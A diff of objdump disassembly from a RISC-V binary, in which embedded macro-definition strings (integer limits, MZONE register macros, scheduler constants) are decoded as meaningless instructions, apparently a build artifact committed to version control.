+    8bb6:	3020                	fld	fs0,96(s0)
+    8bb8:	3a20                	fld	fs0,112(a2)
+    8bba:	5f20                	lw	s0,120(a4)
+    8bbc:	6c5f 636f 5f6b      	0x5f6b636f6c5f
+    8bc2:	6361                	lui	t1,0x18
+    8bc4:	7571                	lui	a0,0xffffc
+    8bc6:	7269                	lui	tp,0xffffa
+    8bc8:	5f65                	li	t5,-7
+    8bca:	6572                	flw	fa0,28(sp)
+    8bcc:	73727563          	bgeu	tp,s7,92f6 <__stack_size+0x8af6>
+    8bd0:	7669                	lui	a2,0xffffa
+    8bd2:	2865                	jal	8c8a <__stack_size+0x848a>
+    8bd4:	6628                	flw	fa0,72(a2)
+    8bd6:	2970                	fld	fa2,208(a0)
+    8bd8:	3e2d                	jal	8712 <__stack_size+0x7f12>
+    8bda:	6c5f 636f 296b      	0x296b636f6c5f
+    8be0:	0029                	c.nop	10
+    8be2:	53495f53          	0x53495f53
+    8be6:	4c42                	lw	s8,16(sp)
+    8be8:	296d284b          	fnmsub.s	fa6,fs10,fs6,ft5,rdn
+    8bec:	2820                	fld	fs0,80(s0)
+    8bee:	2828                	fld	fa0,80(s0)
+    8bf0:	296d                	jal	90aa <__stack_size+0x88aa>
+    8bf2:	5f26                	lw	t5,104(sp)
+    8bf4:	4649                	li	a2,18
+    8bf6:	544d                	li	s0,-13
+    8bf8:	2029                	jal	8c02 <__stack_size+0x8402>
+    8bfa:	3d3d                	jal	8a38 <__stack_size+0x8238>
+    8bfc:	5f20                	lw	s0,120(a4)
+    8bfe:	4649                	li	a2,18
+    8c00:	4c42                	lw	s8,16(sp)
+    8c02:	5f00294b          	fnmsub.q	fs2,ft0,fa6,fa1,rdn
+    8c06:	465f 544c 3233      	0x3233544c465f
+    8c0c:	5f58                	lw	a4,60(a4)
+    8c0e:	4148                	lw	a0,4(a0)
+    8c10:	55515f53          	0x55515f53
+    8c14:	4549                	li	a0,18
+    8c16:	5f54                	lw	a3,60(a4)
+    8c18:	414e                	lw	sp,208(sp)
+    8c1a:	5f4e                	lw	t5,240(sp)
+    8c1c:	205f 0031 5a4d      	0x5a4d0031205f
+    8c22:	5f454e4f          	fnmadd.q	ft8,fa0,fs4,fa1,rmm
+    8c26:	444e4553          	0x444e4553
+    8c2a:	7a28                	flw	fa0,112(a2)
+    8c2c:	2c656e6f          	jal	t3,5eef2 <__stack_size+0x5e6f2>
+    8c30:	736d                	lui	t1,0xffffb
+    8c32:	28202967          	0x28202967
+    8c36:	6572207b          	0x6572207b
+    8c3a:	74736967          	0x74736967
+    8c3e:	7265                	lui	tp,0xffff9
+    8c40:	7520                	flw	fs0,104(a0)
+    8c42:	6e69                	lui	t3,0x1a
+    8c44:	3374                	fld	fa3,224(a4)
+    8c46:	5f32                	lw	t5,44(sp)
+    8c48:	2074                	fld	fa3,192(s0)
+    8c4a:	3061                	jal	84d2 <__stack_size+0x7cd2>
+    8c4c:	6120                	flw	fs0,64(a0)
+    8c4e:	28206d73          	csrrsi	s10,0x282,0
+    8c52:	6122                	flw	ft2,8(sp)
+    8c54:	2230                	fld	fa2,64(a2)
+    8c56:	3b29                	jal	8970 <__stack_size+0x8170>
+    8c58:	6120                	flw	fs0,64(a0)
+    8c5a:	76206d73          	csrrsi	s10,0x762,0
+    8c5e:	74616c6f          	jal	s8,1f3a4 <__stack_size+0x1eba4>
+    8c62:	6c69                	lui	s8,0x1a
+    8c64:	2065                	jal	8d0c <__stack_size+0x850c>
+    8c66:	2028                	fld	fa0,64(s0)
+    8c68:	6d22                	flw	fs10,8(sp)
+    8c6a:	2076                	fld	ft0,344(sp)
+    8c6c:	3161                	jal	88f4 <__stack_size+0x80f4>
+    8c6e:	202c                	fld	fa1,64(s0)
+    8c70:	3225                	jal	8598 <__stack_size+0x7d98>
+    8c72:	2220223b          	0x2220223b
+    8c76:	776c                	flw	fa1,108(a4)
+    8c78:	6120                	flw	fs0,64(a0)
+    8c7a:	2c32                	fld	fs8,264(sp)
+    8c7c:	3020                	fld	fs0,96(s0)
+    8c7e:	342a                	fld	fs0,168(sp)
+    8c80:	3b31252b          	0x3b31252b
+    8c84:	2022                	fld	ft0,8(sp)
+    8c86:	6c22                	flw	fs8,8(sp)
+    8c88:	33612077          	0x33612077
+    8c8c:	202c                	fld	fa1,64(s0)
+    8c8e:	2a31                	jal	8daa <__stack_size+0x85aa>
+    8c90:	2b34                	fld	fa3,80(a4)
+    8c92:	3125                	jal	88ba <__stack_size+0x80ba>
+    8c94:	2220223b          	0x2220223b
+    8c98:	776c                	flw	fa1,108(a4)
+    8c9a:	6120                	flw	fs0,64(a0)
+    8c9c:	2c34                	fld	fa3,88(s0)
+    8c9e:	3220                	fld	fs0,96(a2)
+    8ca0:	342a                	fld	fs0,168(sp)
+    8ca2:	3b31252b          	0x3b31252b
+    8ca6:	2022                	fld	ft0,8(sp)
+    8ca8:	6c22                	flw	fs8,8(sp)
+    8caa:	35612077          	0x35612077
+    8cae:	202c                	fld	fa1,64(s0)
+    8cb0:	2b342a33          	0x2b342a33
+    8cb4:	3125                	jal	88dc <__stack_size+0x80dc>
+    8cb6:	2220223b          	0x2220223b
+    8cba:	696c                	flw	fa1,84(a0)
+    8cbc:	6120                	flw	fs0,64(a0)
+    8cbe:	2c30                	fld	fa2,88(s0)
+    8cc0:	3220                	fld	fs0,96(a2)
+    8cc2:	6d20223b          	0x6d20223b
+    8cc6:	6f7a                	flw	ft10,156(sp)
+    8cc8:	656e                	flw	fa0,216(sp)
+    8cca:	3a20                	fld	fs0,112(a2)
+    8ccc:	2220                	fld	fs0,64(a2)
+    8cce:	723d                	lui	tp,0xfffef
+    8cd0:	2822                	fld	fa6,8(sp)
+    8cd2:	3061                	jal	855a <__stack_size+0x7d5a>
+    8cd4:	2029                	jal	8cde <__stack_size+0x84de>
+    8cd6:	203a                	fld	ft0,392(sp)
+    8cd8:	6d22                	flw	fs10,8(sp)
+    8cda:	2822                	fld	fa6,8(sp)
+    8cdc:	282a                	fld	fa6,136(sp)
+    8cde:	736e6f63          	bltu	t3,s6,941c <__stack_size+0x8c1c>
+    8ce2:	2074                	fld	fa3,192(s0)
+    8ce4:	72616863          	bltu	sp,t1,9414 <__stack_size+0x8c14>
+    8ce8:	2820                	fld	fs0,80(s0)
+    8cea:	292a                	fld	fs2,136(sp)
+    8cec:	5d36315b          	0x5d36315b
+    8cf0:	2029                	jal	8cfa <__stack_size+0x84fa>
+    8cf2:	736d                	lui	t1,0xffffb
+    8cf4:	202c2967          	0x202c2967
+    8cf8:	7222                	flw	ft4,40(sp)
+    8cfa:	2822                	fld	fa6,8(sp)
+    8cfc:	6928                	flw	fa0,80(a0)
+    8cfe:	746e                	flw	fs0,248(sp)
+    8d00:	7a29                	lui	s4,0xfffea
+    8d02:	29656e6f          	jal	t3,5ef98 <__stack_size+0x5e798>
+    8d06:	3a20                	fld	fs0,112(a2)
+    8d08:	2220                	fld	fs0,64(a2)
+    8d0a:	3161                	jal	8992 <__stack_size+0x8192>
+    8d0c:	2c22                	fld	fs8,8(sp)
+    8d0e:	6122                	flw	ft2,8(sp)
+    8d10:	2232                	fld	ft4,264(sp)
+    8d12:	222c                	fld	fa1,64(a2)
+    8d14:	3361                	jal	8a9c <__stack_size+0x829c>
+    8d16:	2c22                	fld	fs8,8(sp)
+    8d18:	6122                	flw	ft2,8(sp)
+    8d1a:	2234                	fld	fa3,64(a2)
+    8d1c:	222c                	fld	fa1,64(a2)
+    8d1e:	3561                	jal	8ba6 <__stack_size+0x83a6>
+    8d20:	2922                	fld	fs2,8(sp)
+    8d22:	3061203b          	0x3061203b
+    8d26:	297d203b          	0x297d203b
+    8d2a:	5f00                	lw	s0,56(a4)
+    8d2c:	325f4353          	0x325f4353
+    8d30:	465f 524f 5f54      	0x5f54524f465f
+    8d36:	4544                	lw	s1,12(a0)
+    8d38:	2056                	fld	ft0,336(sp)
+    8d3a:	3131                	jal	8946 <__stack_size+0x8146>
+    8d3c:	0030                	addi	a2,sp,8
+    8d3e:	4d44                	lw	s1,28(a0)
+    8d40:	5f41                	li	t5,-16
+    8d42:	5254                	lw	a3,36(a2)
+    8d44:	445f 5345 5f54      	0x5f545345445f
+    8d4a:	2046464f          	fnmadd.s	fa2,fa2,ft4,ft4,rmm
+    8d4e:	7830                	flw	fa2,112(s0)
+    8d50:	4334                	lw	a3,64(a4)
     8d52:	5f00                	lw	s0,56(a4)
-    8d54:	4350                	lw	a2,4(a4)
-    8d56:	525f 4345 585f      	0x585f4345525f
-    8d5c:	4546                	lw	a0,80(sp)
-    8d5e:	5f52                	lw	t5,52(sp)
-    8d60:	4c41                	li	s8,16
-    8d62:	4749                	li	a4,18
-    8d64:	204e                	fld	ft0,208(sp)
-    8d66:	3931                	jal	8982 <__stack_size+0x8182>
-    8d68:	4f00                	lw	s0,24(a4)
-    8d6a:	525f 5744 2052      	0x20525744525f
-    8d70:	0032                	c.slli	zero,0xc
-    8d72:	535f 5f43 5254      	0x52545f43535f
-    8d78:	4341                	li	t1,16
-    8d7a:	5f45                	li	t5,-15
-    8d7c:	4f4c                	lw	a1,28(a4)
-    8d7e:	37382047          	fmsub.q	ft0,fa6,fs3,ft6,rdn
-    8d82:	5f00                	lw	s0,56(a4)
-    8d84:	555f 4e49 5f54      	0x5f544e49555f
-    8d8a:	454c                	lw	a1,12(a0)
-    8d8c:	5341                	li	t1,-16
-    8d8e:	3854                	fld	fa3,176(s0)
-    8d90:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    8d96:	3020                	fld	fs0,96(s0)
-    8d98:	6678                	flw	fa4,76(a2)
-    8d9a:	0066                	c.slli	zero,0x19
-    8d9c:	4955                	li	s2,21
-    8d9e:	544e                	lw	s0,240(sp)
-    8da0:	3631                	jal	88ac <__stack_size+0x80ac>
-    8da2:	4d5f 5841 4900      	0x490058414d5f
-    8da8:	544e                	lw	s0,240(sp)
-    8daa:	4c5f 4145 5453      	0x545341454c5f
-    8db0:	3631                	jal	88bc <__stack_size+0x80bc>
-    8db2:	4d5f 4e49 6d00      	0x6d004e494d5f
-    8db8:	7261                	lui	tp,0xffff8
-    8dba:	64696863          	bltu	s2,t1,940a <__stack_size+0x8c0a>
-    8dbe:	735f 7274 5500      	0x55007274735f
-    8dc4:	4e49                	li	t3,18
-    8dc6:	5f54                	lw	a3,60(a4)
-    8dc8:	414d                	li	sp,19
-    8dca:	0058                	addi	a4,sp,4
-    8dcc:	53495f53          	0x53495f53
-    8dd0:	4946                	lw	s2,80(sp)
-    8dd2:	4f46                	lw	t5,80(sp)
-    8dd4:	6d28                	flw	fa0,88(a0)
-    8dd6:	2029                	jal	8de0 <__stack_size+0x85e0>
-    8dd8:	2828                	fld	fa0,80(s0)
-    8dda:	6d28                	flw	fa0,88(a0)
-    8ddc:	2629                	jal	90e6 <__stack_size+0x88e6>
-    8dde:	495f 4d46 2954      	0x29544d46495f
-    8de4:	3d20                	fld	fs0,120(a0)
-    8de6:	203d                	jal	8e14 <__stack_size+0x8614>
-    8de8:	495f 4946 4f46      	0x4f464946495f
-    8dee:	0029                	c.nop	10
-    8df0:	5a4d                	li	s4,-13
-    8df2:	5f454e4f          	fnmadd.q	ft8,fa0,fs4,fa1,rmm
-    8df6:	4552                	lw	a0,20(sp)
-    8df8:	7a285643          	fmadd.d	fa2,fa6,ft2,fa5,unknown
-    8dfc:	2c656e6f          	jal	t3,5f0c2 <__stack_size+0x5e8c2>
-    8e00:	736d                	lui	t1,0xffffb
-    8e02:	28202967          	0x28202967
-    8e06:	6572207b          	0x6572207b
-    8e0a:	74736967          	0x74736967
-    8e0e:	7265                	lui	tp,0xffff9
-    8e10:	7520                	flw	fs0,104(a0)
-    8e12:	6e69                	lui	t3,0x1a
-    8e14:	3374                	fld	fa3,224(a4)
-    8e16:	5f32                	lw	t5,44(sp)
-    8e18:	2074                	fld	fa3,192(s0)
-    8e1a:	3061                	jal	86a2 <__stack_size+0x7ea2>
-    8e1c:	6120                	flw	fs0,64(a0)
-    8e1e:	28206d73          	csrrsi	s10,0x282,0
-    8e22:	6122                	flw	ft2,8(sp)
-    8e24:	2230                	fld	fa2,64(a2)
-    8e26:	3b29                	jal	8b40 <__stack_size+0x8340>
-    8e28:	7220                	flw	fs0,96(a2)
-    8e2a:	6765                	lui	a4,0x19
-    8e2c:	7369                	lui	t1,0xffffa
-    8e2e:	6574                	flw	fa3,76(a0)
-    8e30:	2072                	fld	ft0,280(sp)
-    8e32:	6975                	lui	s2,0x1d
-    8e34:	746e                	flw	fs0,248(sp)
-    8e36:	745f3233          	0x745f3233
-    8e3a:	6120                	flw	fs0,64(a0)
-    8e3c:	2032                	fld	ft0,264(sp)
-    8e3e:	7361                	lui	t1,0xffff8
-    8e40:	206d                	jal	8eea <__stack_size+0x86ea>
-    8e42:	2228                	fld	fa0,64(a2)
-    8e44:	3261                	jal	87cc <__stack_size+0x7fcc>
-    8e46:	2922                	fld	fs2,8(sp)
-    8e48:	6572203b          	0x6572203b
-    8e4c:	74736967          	0x74736967
-    8e50:	7265                	lui	tp,0xffff9
-    8e52:	7520                	flw	fs0,104(a0)
-    8e54:	6e69                	lui	t3,0x1a
-    8e56:	3374                	fld	fa3,224(a4)
-    8e58:	5f32                	lw	t5,44(sp)
-    8e5a:	2074                	fld	fa3,192(s0)
-    8e5c:	3361                	jal	8be4 <__stack_size+0x83e4>
-    8e5e:	6120                	flw	fs0,64(a0)
-    8e60:	28206d73          	csrrsi	s10,0x282,0
-    8e64:	6122                	flw	ft2,8(sp)
-    8e66:	3b292233          	0x3b292233
-    8e6a:	7220                	flw	fs0,96(a2)
-    8e6c:	6765                	lui	a4,0x19
-    8e6e:	7369                	lui	t1,0xffffa
-    8e70:	6574                	flw	fa3,76(a0)
-    8e72:	2072                	fld	ft0,280(sp)
-    8e74:	6975                	lui	s2,0x1d
-    8e76:	746e                	flw	fs0,248(sp)
-    8e78:	745f3233          	0x745f3233
-    8e7c:	6120                	flw	fs0,64(a0)
-    8e7e:	2034                	fld	fa3,64(s0)
-    8e80:	7361                	lui	t1,0xffff8
-    8e82:	206d                	jal	8f2c <__stack_size+0x872c>
-    8e84:	2228                	fld	fa0,64(a2)
-    8e86:	3461                	jal	890e <__stack_size+0x810e>
-    8e88:	2922                	fld	fs2,8(sp)
-    8e8a:	6572203b          	0x6572203b
-    8e8e:	74736967          	0x74736967
-    8e92:	7265                	lui	tp,0xffff9
-    8e94:	7520                	flw	fs0,104(a0)
-    8e96:	6e69                	lui	t3,0x1a
-    8e98:	3374                	fld	fa3,224(a4)
-    8e9a:	5f32                	lw	t5,44(sp)
-    8e9c:	2074                	fld	fa3,192(s0)
-    8e9e:	3561                	jal	8d26 <__stack_size+0x8526>
-    8ea0:	6120                	flw	fs0,64(a0)
-    8ea2:	28206d73          	csrrsi	s10,0x282,0
-    8ea6:	6122                	flw	ft2,8(sp)
-    8ea8:	2235                	jal	8fd4 <__stack_size+0x87d4>
-    8eaa:	3b29                	jal	8bc4 <__stack_size+0x83c4>
-    8eac:	6120                	flw	fs0,64(a0)
-    8eae:	76206d73          	csrrsi	s10,0x762,0
-    8eb2:	74616c6f          	jal	s8,1f5f8 <__stack_size+0x1edf8>
-    8eb6:	6c69                	lui	s8,0x1a
-    8eb8:	2065                	jal	8f60 <__stack_size+0x8760>
-    8eba:	2028                	fld	fa0,64(s0)
-    8ebc:	6d22                	flw	fs10,8(sp)
-    8ebe:	2076                	fld	ft0,344(sp)
-    8ec0:	3161                	jal	8b48 <__stack_size+0x8348>
-    8ec2:	202c                	fld	fa1,64(s0)
-    8ec4:	3525                	jal	8cec <__stack_size+0x84ec>
-    8ec6:	2022203b          	0x2022203b
-    8eca:	6c22                	flw	fs8,8(sp)
-    8ecc:	2069                	jal	8f56 <__stack_size+0x8756>
-    8ece:	3061                	jal	8756 <__stack_size+0x7f56>
-    8ed0:	202c                	fld	fa1,64(s0)
-    8ed2:	20223b33          	0x20223b33
-    8ed6:	7a6d                	lui	s4,0xffffb
-    8ed8:	20656e6f          	jal	t3,5f0de <__stack_size+0x5e8de>
-    8edc:	203a                	fld	ft0,392(sp)
-    8ede:	3d22                	fld	fs10,40(sp)
-    8ee0:	2272                	fld	ft4,280(sp)
-    8ee2:	6128                	flw	fa0,64(a0)
-    8ee4:	2930                	fld	fa2,80(a0)
-    8ee6:	202c                	fld	fa1,64(s0)
-    8ee8:	3d22                	fld	fs10,40(sp)
-    8eea:	2272                	fld	ft4,280(sp)
-    8eec:	6128                	flw	fa0,64(a0)
-    8eee:	2932                	fld	fs2,264(sp)
-    8ef0:	222c                	fld	fa1,64(a2)
-    8ef2:	723d                	lui	tp,0xfffef
-    8ef4:	2822                	fld	fa6,8(sp)
-    8ef6:	3361                	jal	8c7e <__stack_size+0x847e>
-    8ef8:	2c29                	jal	9112 <__stack_size+0x8912>
-    8efa:	3d22                	fld	fs10,40(sp)
-    8efc:	2272                	fld	ft4,280(sp)
-    8efe:	6128                	flw	fa0,64(a0)
-    8f00:	2934                	fld	fa3,80(a0)
-    8f02:	222c                	fld	fa1,64(a2)
-    8f04:	723d                	lui	tp,0xfffef
-    8f06:	2822                	fld	fa6,8(sp)
-    8f08:	3561                	jal	8d90 <__stack_size+0x8590>
-    8f0a:	2029                	jal	8f14 <__stack_size+0x8714>
-    8f0c:	203a                	fld	ft0,392(sp)
-    8f0e:	7222                	flw	ft4,40(sp)
-    8f10:	2822                	fld	fa6,8(sp)
-    8f12:	6928                	flw	fa0,80(a0)
-    8f14:	746e                	flw	fs0,248(sp)
-    8f16:	7a29                	lui	s4,0xfffea
-    8f18:	29656e6f          	jal	t3,5f1ae <__stack_size+0x5e9ae>
-    8f1c:	3a20                	fld	fs0,112(a2)
-    8f1e:	2220                	fld	fs0,64(a2)
-    8f20:	3161                	jal	8ba8 <__stack_size+0x83a8>
-    8f22:	2922                	fld	fs2,8(sp)
-    8f24:	282a203b          	0x282a203b
-    8f28:	7528                	flw	fa0,104(a0)
-    8f2a:	6e69                	lui	t3,0x1a
-    8f2c:	3374                	fld	fa3,224(a4)
-    8f2e:	5f32                	lw	t5,44(sp)
-    8f30:	2074                	fld	fa3,192(s0)
-    8f32:	292a                	fld	fs2,136(sp)
-    8f34:	6d28                	flw	fa0,88(a0)
-    8f36:	302b6773          	csrrsi	a4,medeleg,22
-    8f3a:	342a                	fld	fs0,168(sp)
-    8f3c:	2929                	jal	9356 <__stack_size+0x8b56>
-    8f3e:	3d20                	fld	fs0,120(a0)
-    8f40:	6120                	flw	fs0,64(a0)
-    8f42:	3b32                	fld	fs6,296(sp)
-    8f44:	2a20                	fld	fs0,80(a2)
-    8f46:	2828                	fld	fa0,80(s0)
-    8f48:	6975                	lui	s2,0x1d
-    8f4a:	746e                	flw	fs0,248(sp)
-    8f4c:	745f3233          	0x745f3233
-    8f50:	2a20                	fld	fs0,80(a2)
-    8f52:	2829                	jal	8f6c <__stack_size+0x876c>
-    8f54:	736d                	lui	t1,0xffffb
-    8f56:	2a312b67          	0x2a312b67
-    8f5a:	2934                	fld	fa3,80(a0)
-    8f5c:	2029                	jal	8f66 <__stack_size+0x8766>
-    8f5e:	203d                	jal	8f8c <__stack_size+0x878c>
-    8f60:	3361                	jal	8ce8 <__stack_size+0x84e8>
-    8f62:	282a203b          	0x282a203b
-    8f66:	7528                	flw	fa0,104(a0)
-    8f68:	6e69                	lui	t3,0x1a
-    8f6a:	3374                	fld	fa3,224(a4)
-    8f6c:	5f32                	lw	t5,44(sp)
-    8f6e:	2074                	fld	fa3,192(s0)
-    8f70:	292a                	fld	fs2,136(sp)
-    8f72:	6d28                	flw	fa0,88(a0)
-    8f74:	322b6773          	csrrsi	a4,mhcounteren,22
-    8f78:	342a                	fld	fs0,168(sp)
-    8f7a:	2929                	jal	9394 <__stack_size+0x8b94>
-    8f7c:	3d20                	fld	fs0,120(a0)
-    8f7e:	6120                	flw	fs0,64(a0)
-    8f80:	3b34                	fld	fa3,112(a4)
-    8f82:	2a20                	fld	fs0,80(a2)
-    8f84:	2828                	fld	fa0,80(s0)
-    8f86:	6975                	lui	s2,0x1d
-    8f88:	746e                	flw	fs0,248(sp)
-    8f8a:	745f3233          	0x745f3233
-    8f8e:	2a20                	fld	fs0,80(a2)
-    8f90:	2829                	jal	8faa <__stack_size+0x87aa>
-    8f92:	736d                	lui	t1,0xffffb
-    8f94:	2a332b67          	0x2a332b67
-    8f98:	2934                	fld	fa3,80(a0)
-    8f9a:	2029                	jal	8fa4 <__stack_size+0x87a4>
-    8f9c:	203d                	jal	8fca <__stack_size+0x87ca>
-    8f9e:	3561                	jal	8e26 <__stack_size+0x8626>
-    8fa0:	3061203b          	0x3061203b
-    8fa4:	297d203b          	0x297d203b
-    8fa8:	5300                	lw	s0,32(a4)
-    8faa:	44454843          	0x44454843
-    8fae:	465f 4649 204f      	0x204f4649465f
-    8fb4:	0031                	c.nop	12
-    8fb6:	5f5f 4d49 4f50      	0x4f504d495f5f
-    8fbc:	5452                	lw	s0,52(sp)
-    8fbe:	0020                	addi	s0,sp,8
-    8fc0:	5f5f 695f 746e      	0x746e695f5f5f
-    8fc6:	745f3233          	0x745f3233
-    8fca:	645f 6665 6e69      	0x6e696665645f
-    8fd0:	6465                	lui	s0,0x19
-    8fd2:	3120                	fld	fs0,96(a0)
-    8fd4:	5f00                	lw	s0,56(a4)
-    8fd6:	495f 544e 3436      	0x3436544e495f
-    8fdc:	545f 5059 5f45      	0x5f455059545f
-    8fe2:	205f 6f6c 676e      	0x676e6f6c205f
-    8fe8:	6c20                	flw	fs0,88(s0)
-    8fea:	20676e6f          	jal	t3,7f1f0 <__stack_size+0x7e9f0>
-    8fee:	6e69                	lui	t3,0x1a
-    8ff0:	0074                	addi	a3,sp,12
-    8ff2:	696d                	lui	s2,0x1b
-    8ff4:	5f006173          	csrrsi	sp,0x5f0,0
-    8ff8:	4649                	li	a2,18
-    8ffa:	4552                	lw	a0,20(sp)
-    8ffc:	31302047          	fmsub.s	ft0,ft0,fs3,ft6,rdn
-    9000:	3030                	fld	fa2,96(s0)
-    9002:	3030                	fld	fa2,96(s0)
-    9004:	0030                	addi	a2,sp,8
-    9006:	465f 5243 4145      	0x41455243465f
-    900c:	2054                	fld	fa3,128(s0)
-    900e:	7830                	flw	fa2,112(s0)
-    9010:	3230                	fld	fa2,96(a2)
-    9012:	3030                	fld	fa2,96(s0)
-    9014:	5f00                	lw	s0,56(a4)
-    9016:	725f 6e61 6567      	0x65676e61725f
-    901c:	7428666f          	jal	a2,8f75e <__stack_size+0x8ef5e>
-    9020:	7079                	c.lui	zero,0xffffe
-    9022:	2c65                	jal	92da <__stack_size+0x8ada>
-    9024:	72617473          	csrrci	s0,0x726,2
-    9028:	2c74                	fld	fa3,216(s0)
-    902a:	6e65                	lui	t3,0x19
-    902c:	2964                	fld	fs1,208(a0)
-    902e:	2820                	fld	fs0,80(s0)
-    9030:	5f5f 666f 7366      	0x7366666f5f5f
-    9036:	7465                	lui	s0,0xffff9
-    9038:	7428666f          	jal	a2,8f77a <__stack_size+0x8ef7a>
-    903c:	7079                	c.lui	zero,0xffffe
-    903e:	2c65                	jal	92f6 <__stack_size+0x8af6>
-    9040:	6520                	flw	fs0,72(a0)
-    9042:	646e                	flw	fs0,216(sp)
-    9044:	2029                	jal	904e <__stack_size+0x884e>
-    9046:	202d                	jal	9070 <__stack_size+0x8870>
-    9048:	5f5f 666f 7366      	0x7366666f5f5f
-    904e:	7465                	lui	s0,0xffff9
-    9050:	7428666f          	jal	a2,8f792 <__stack_size+0x8ef92>
-    9054:	7079                	c.lui	zero,0xffffe
-    9056:	2c65                	jal	930e <__stack_size+0x8b0e>
-    9058:	7320                	flw	fs0,96(a4)
-    905a:	6174                	flw	fa3,68(a0)
-    905c:	7472                	flw	fs0,60(sp)
-    905e:	2929                	jal	9478 <__stack_size+0x8c78>
-    9060:	5f00                	lw	s0,56(a4)
-    9062:	585f4353          	0x585f4353
-    9066:	4e45504f          	fnmadd.q	ft0,fa0,ft4,fs1,unknown
-    906a:	565f 5245 4953      	0x49535245565f
-    9070:	31204e4f          	fnmadd.s	ft8,ft0,fs2,ft6,rmm
-    9074:	3630                	fld	fa2,104(a2)
-    9076:	5f00                	lw	s0,56(a4)
-    9078:	6d5f 6c61 6f6c      	0x6f6c6c616d5f
-    907e:	696c5f63          	bge	s8,s6,971c <__stack_size+0x8f1c>
-    9082:	5f20656b          	0x5f20656b
-    9086:	615f 7474 6972      	0x69727474615f
-    908c:	7562                	flw	fa0,56(sp)
-    908e:	6574                	flw	fa3,76(a0)
-    9090:	5f5f 2828 5f5f      	0x5f5f28285f5f
-    9096:	616d                	addi	sp,sp,240
-    9098:	6c6c                	flw	fa1,92(s0)
-    909a:	5f5f636f          	jal	t1,ffe8e <__stack_size+0xff68e>
-    909e:	2929                	jal	94b8 <__stack_size+0x8cb8>
-    90a0:	5f00                	lw	s0,56(a4)
-    90a2:	5f5f 6e69 5f74      	0x5f746e695f5f
-    90a8:	7470                	flw	fa2,108(s0)
-    90aa:	6472                	flw	fs0,28(sp)
-    90ac:	6669                	lui	a2,0x1a
-    90ae:	5f66                	lw	t5,120(sp)
-    90b0:	5f74                	lw	a3,124(a4)
-    90b2:	2068                	fld	fa0,192(s0)
-    90b4:	5f00                	lw	s0,56(a4)
-    90b6:	475f 4343 415f      	0x415f4343475f
-    90bc:	4f54                	lw	a3,28(a4)
-    90be:	494d                	li	s2,19
-    90c0:	48435f43          	fmadd.s	ft10,ft6,ft4,fs1,unknown
-    90c4:	5241                	li	tp,-16
-    90c6:	4c5f 434f 5f4b      	0x5f4b434f4c5f
-    90cc:	5246                	lw	tp,112(sp)
-    90ce:	4545                	li	a0,17
-    90d0:	3120                	fld	fs0,96(a0)
+    8d54:	555f 4e49 5f54      	0x5f544e49555f
+    8d5a:	454c                	lw	a1,12(a0)
+    8d5c:	5341                	li	t1,-16
+    8d5e:	3354                	fld	fa3,160(a4)
+    8d60:	5f32                	lw	t5,44(sp)
+    8d62:	5954                	lw	a3,52(a0)
+    8d64:	4550                	lw	a2,12(a0)
+    8d66:	5f5f 6c20 6e6f      	0x6e6f6c205f5f
+    8d6c:	6e752067          	0x6e752067
+    8d70:	6e676973          	csrrsi	s2,0x6e6,14
+    8d74:	6465                	lui	s0,0x19
+    8d76:	6920                	flw	fs0,80(a0)
+    8d78:	746e                	flw	fs0,248(sp)
+    8d7a:	5f00                	lw	s0,56(a4)
+    8d7c:	445f 4c42 4d5f      	0x4d5f4c42445f
+    8d82:	4e49                	li	t3,18
+    8d84:	455f 5058 5f5f      	0x5f5f5058455f
+    8d8a:	2820                	fld	fs0,80(s0)
+    8d8c:	312d                	jal	89b6 <__stack_size+0x81b6>
+    8d8e:	3230                	fld	fa2,96(a2)
+    8d90:	2931                	jal	91ac <__stack_size+0x89ac>
+    8d92:	5f00                	lw	s0,56(a4)
+    8d94:	465f 544c 3436      	0x3436544c465f
+    8d9a:	5f58                	lw	a4,60(a4)
+    8d9c:	494d                	li	s2,19
+    8d9e:	5f4e                	lw	t5,240(sp)
+    8da0:	5845                	li	a6,-15
+    8da2:	5f50                	lw	a2,60(a4)
+    8da4:	205f 2d28 3631      	0x36312d28205f
+    8daa:	29313833          	0x29313833
+    8dae:	5f00                	lw	s0,56(a4)
+    8db0:	4e5f 4c55 414c      	0x414c4c554e5f
+    8db6:	4942                	lw	s2,16(sp)
+    8db8:	494c                	lw	a1,20(a0)
+    8dba:	5954                	lw	a3,52(a0)
+    8dbc:	505f 4152 4d47      	0x4d474152505f
+    8dc2:	5f41                	li	t5,-16
+    8dc4:	5550                	lw	a2,44(a0)
+    8dc6:	00204853          	fadd.s	fa6,ft0,ft2,rmm
+    8dca:	525f 4545 544e      	0x544e4545525f
+    8dd0:	4d5f 5242 454c      	0x454c52424d5f
+    8dd6:	5f4e                	lw	t5,240(sp)
+    8dd8:	54415453          	0x54415453
+    8ddc:	2845                	jal	8e8c <__stack_size+0x868c>
+    8dde:	7470                	flw	fa2,108(s0)
+    8de0:	2972                	fld	fs2,280(sp)
+    8de2:	2820                	fld	fs0,80(s0)
+    8de4:	7028                	flw	fa0,96(s0)
+    8de6:	7274                	flw	fa3,100(a2)
+    8de8:	2d29                	jal	9402 <__stack_size+0x8c02>
+    8dea:	5f3e                	lw	t5,236(sp)
+    8dec:	656e                	flw	fa0,216(sp)
+    8dee:	725f2e77          	0x725f2e77
+    8df2:	6565                	lui	a0,0x19
+    8df4:	746e                	flw	fs0,248(sp)
+    8df6:	5f2e                	lw	t5,232(sp)
+    8df8:	626d                	lui	tp,0x1b
+    8dfa:	6c72                	flw	fs8,28(sp)
+    8dfc:	6e65                	lui	t3,0x19
+    8dfe:	735f 6174 6574      	0x65746174735f
+    8e04:	0029                	c.nop	10
+    8e06:	505f 5f43 4552      	0x45525f43505f
+    8e0c:	46585f43          	fmadd.q	ft10,fa6,ft5,fs0,unknown
+    8e10:	5245                	li	tp,-15
+    8e12:	415f 494c 4e47      	0x4e47494c415f
+    8e18:	3120                	fld	fs0,96(a0)
+    8e1a:	0039                	c.nop	14
+    8e1c:	44525f4f          	0x44525f4f
+    8e20:	32205257          	0x32205257
+    8e24:	5f00                	lw	s0,56(a4)
+    8e26:	545f4353          	0x545f4353
+    8e2a:	4152                	lw	sp,20(sp)
+    8e2c:	4c5f4543          	0x4c5f4543
+    8e30:	3820474f          	fnmadd.s	fa4,ft0,ft2,ft7,rmm
+    8e34:	5f5f0037          	lui	zero,0x5f5f0
+    8e38:	4955                	li	s2,21
+    8e3a:	544e                	lw	s0,240(sp)
+    8e3c:	4c5f 4145 5453      	0x545341454c5f
+    8e42:	5f38                	lw	a4,120(a4)
+    8e44:	414d                	li	sp,19
